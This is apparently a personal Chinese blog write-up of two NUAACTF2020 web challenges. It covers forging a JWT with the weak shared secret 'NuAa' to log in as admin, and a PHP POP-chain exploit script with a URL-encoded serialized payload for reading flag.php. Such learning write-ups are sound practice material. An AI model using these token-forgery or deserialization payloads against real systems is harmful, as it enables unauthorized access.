NUAACTF2020 - Web2 & Web3

这里就总结一下,自己没有做出来的原因:没队友交流、时间紧

Web2

比赛时抓包看cookie里面有jwt,就去google发现是jwt伪造,原题也看到了,只要能伪造好jwt,就能直接登录无需密码

卡题原因:不知道jwt的密钥,现学现卖不是强项

说实话,也没有想到要用到解密工具,因为既然不知道admin的密码,用自己注册的账号解出来的密钥不应该是自己独有的密钥吗(被没有注册时jwt为空给迷惑了)

所以说只要是注册的用户,加密密钥都是相同的'NuAa'

https://jwt.io/

伪造用户名admin

 

Web3

需要构造pop链,类似题目WP也看了,还真的现学现卖差一点就成功

卡题原因:没有url编码

自己构造的exp:

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new evil();
    }
}class evil {
    private $data;
}
$a = new lemon();
echo serialize($a);
?>

题目要看flag.php,必须构造lemon类的构造函数访问evil类

其实挺遗憾的,没想到最后还要在编译器里url编码才能传参,之前一直直接输进地址栏

 

错误的序列化:

 

O:5:%22lemon%22:1:{s:11:%22%20*%20ClassObj%22;O:4:%22evil%22:1:{s:10:%22%20evil%20data%22;N;}}

鉴于之前刷的题目,这道题没法直接传参的原因大概是序列化以后存在的特殊字符,复制之后就出错了

posted @ 2020-06-01 12:35  ch0bits  阅读(365)  评论(0编辑  收藏  举报